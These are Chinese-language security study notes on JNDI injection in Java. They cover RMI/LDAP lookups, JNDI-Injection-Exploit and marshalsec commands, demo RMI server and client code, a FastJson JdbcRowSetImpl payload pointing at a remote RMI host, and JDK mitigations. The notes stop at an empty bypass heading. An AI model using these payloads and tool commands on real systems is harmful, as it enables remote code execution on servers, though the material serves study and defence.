8.JNDI注入

1. 什么是JNDI

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表(Remote Method Invocation Registry
LDAP:轻量级目录访问协议(Lightweight Directory Access Protocol

什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考: https://blog.csdn.net/dupei/article/details/120534024
Pasted image 20250420205641

2. JNDI注入-RMI&LDAP服务

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

  • InitialDirContext.lookup()
  • Spring LdapTemplate.lookup()
  • LdapTemplate.lookupContext()

JNDI远程调用-JNDI-Injection
基于工具自主定义(节省下述2,4步骤)
1、使用远程调用(默认端口1389)
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");

2、使用利用工具生成调用地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

JNDI远程调用-marshalsec
1、使用远程调用(默认端口1389)
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
2、编译调用对象
javac Test.java
3、使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
4、将生成的Class存放访问路径

3. JNDI-Injection & marshalsec 实现原理:

例:RMI调用
//bind:将名称绑定到对象中;
//lookup:通过名字检索执行的对象;
//Reference类表示对存在于命名/目录系统以外的对象的引用。
//Reference参数:
//className:远程加载时所使用的类名;
//classFactory:加载的class中需要实例化类的名称;
//classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

Registry registry= LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
import java.lang.reflect.Method;  
  
/**  
 * JNDI注入演示类  
 * 安全风险:该代码演示了JNDI注入漏洞,仅用于安全测试,不要在生产环境使用  
 */  
public class JndiDemo {  
    public static void main(String[] args) throws NamingException, ClassNotFoundException, NoSuchMethodException {  
        // ===================== 第一部分:直接JNDI注入 =====================        // 安全风险:这里直接使用JNDI lookup,如果URL可控,攻击者可以指向恶意RMI服务器  
        InitialContext var1 = new InitialContext();  
        var1.lookup("rmi://127.0.0.1:7778/RCE");  
  
        // ===================== 第二部分:FastJson JNDI注入 =====================        // FastJson反序列化JNDI注入payload  
        // 安全风险:攻击者可以通过构造特定JSON,实现远程代码执行  
        // 影响版本:FastJson < 1.2.48  
        String payload = "{" +  
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +  // 指定危险类  
                "\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +  // JNDI lookup URL  
                "\"autoCommit\":true" +  // 触发connect()方法  
                "}";  
          
        // ===================== 第三部分:反射调用分析 =====================        // 安全风险:通过反射可以调用JdbcRowSetImpl类的方法  
        // 这里演示了如何获取setDataSourceName方法,该方法在JNDI注入中起关键作用  
        Class<?> aClass = Class.forName("com.sun.rowset.JdbcRowSetImpl");  
        Method setDataSourceName = aClass.getDeclaredMethod("setDataSourceName", String.class);  
        System.out.println(setDataSourceName);  
  
        /*   
* 防御措施:  
         * 1. 升级FastJson到安全版本  
         * 2. 禁用自动类型解析:ParserConfig.getGlobalInstance().setAutoTypeSupport(false)  
         * 3. 设置反序列化白名单  
         * 4. 禁用JNDI远程加载:-Dcom.sun.jndi.rmi.object.trustURLCodebase=false  
         * 5. 过滤RMI/LDAP协议URL  
         * 6. 使用更安全的JSON库如Jackson  
         */    }  
}

JNDI server

/**
 * JNDI RMI服务器
 * 安全风险:该服务器可用于JNDI注入测试,仅用于安全研究
 */
public class JndiServer {
    public static void main(String[] args) throws Exception {
        // 创建RMI注册表,监听7778端口
        // 安全风险:暴露的RMI服务可能被攻击者利用
        Registry registry = LocateRegistry.createRegistry(7778);

        // 创建一个Reference,指向远程代码
        // 安全风险:这里的URL如果指向攻击者控制的服务器,可加载恶意类
        Reference reference = new Reference("Test", "Test", "http://127.0.0.1:8089/");
        
        // 将Reference包装为RMI对象
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        
        // 绑定RMI对象到注册表
        // 当客户端查找"RCE"时,将返回这个Reference对象
        registry.bind("RCE", wrapper);

        /* 
         * 安全建议:
         * 1. 生产环境禁止暴露RMI服务
         * 2. 如必须使用RMI,限制可访问的IP
         * 3. 使用安全的认证机制
         * 4. 监控异常的RMI连接
         */
    }
}

4. JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用 InitialContext.lookup() 中的进行 JdbcRowSetImpl 类JNDI服务注入

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson
2、生成远程调用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117

3、提交JSON数据Payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}

5. JNDI注入-JDK高版本注入绕过

Pasted image 20250420205645

5.1. JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

5.2. JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

5.3. JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

5.4. 高版本绕过: